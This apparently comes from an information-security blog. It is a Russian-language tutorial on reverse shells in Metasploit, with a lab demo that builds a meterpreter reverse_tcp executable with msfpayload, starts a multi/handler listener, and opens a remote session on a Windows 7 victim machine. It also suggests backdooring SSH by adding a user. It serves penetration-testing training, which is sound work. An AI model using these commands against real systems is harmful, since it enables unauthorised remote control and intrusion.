Как использовать reverse shell в Metasploit

Как использовать reverse shell в Metasploit

Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.

В этой статье рассмотрим  использование reverse shell для получения сеанса.

Список обратных оболочек Metasploit

Чтобы получить список обратных оболочек, используйте команду msfpayload.

./msfpayload -l |grep reverse

Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.

Reverse shell в Windows

В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.

Linux reverse shell

В Linux вы можете попробовать использовать  linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.

Когда может потребоваться использовать reverse shell

Несколько возможных ниже приведенных сценариев предполагают использование указанного метода

  • Целевая машина находится в другой частной сети.
  • Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью  bind shell.
  • Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.
  • Или же Вы просто не можете решить, что выбрать.

Когда reverse shell не нужен

Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.

Как настроить reverse shell при генерации полезной нагрузки

Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:

  • LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.
  • LPORT – порт, к которому вы хотите подключить целевую машину.

Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):

  • LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.
  • LPORT – это порт, к которому вы хотите привязать ваш слушатель.

Перед выполнением reverse shell следует убедиться, что слушатель запущен.

Демонстрация

В этой демонстрации у нас есть две машины:

Box A:

Ящик атакующего, который получает сессию полезной нагрузки.

IP это: 192.168.1.123 (ifconfig).

В той же сети, что и машина жертвы.

Box B:

Машина “жертвы”

Windows 7

IP-адрес: 192.168.1.80 (ipconfig)

В той же сети, что и машина злоумышленника

В целях тестирования антивирус не включен.

В целях тестирования также не включен брандмауэр.

Шаг 1: Создаем исполняемую полезную нагрузку

На компьютере атакующего запустим msfpayload или msfvenom:

$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 287

Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}

 

Шаг 2: Скопируем исполняемую полезную нагрузку в Box B

Box B – это машина жертвы.

Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A

Box A – это атакующая машина.

$ ./msfconsole -q

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.123

lhost => 192.168.1.123

msf exploit(handler) > set lport 4444

lport => 4444

msf exploit(handler) > run



[*] Started reverse handler on 192.168.1.123:4444

[*] Starting the payload handler...






Шаг 4: Дважды кликнем по вредоносному исполняемому файлу

Этот шаг не требует дополнительных объяснений.

 

Шаг 5: Просмотр сеанса meterpreter/payload на Box A

$ ./msfconsole -q

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.123

lhost => 192.168.1.123

msf exploit(handler) > set lport 4444

lport => 4444

msf exploit(handler) > run



[*] Started reverse handler on 192.168.1.123:4444

[*] Starting the payload handler...

[*] Sending stage (770048 bytes) to 192.168.1.80

[*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500

meterpreter >

 

Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом

¯_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.

 

 



2022-04-27T20:36:18
Аудит ИБ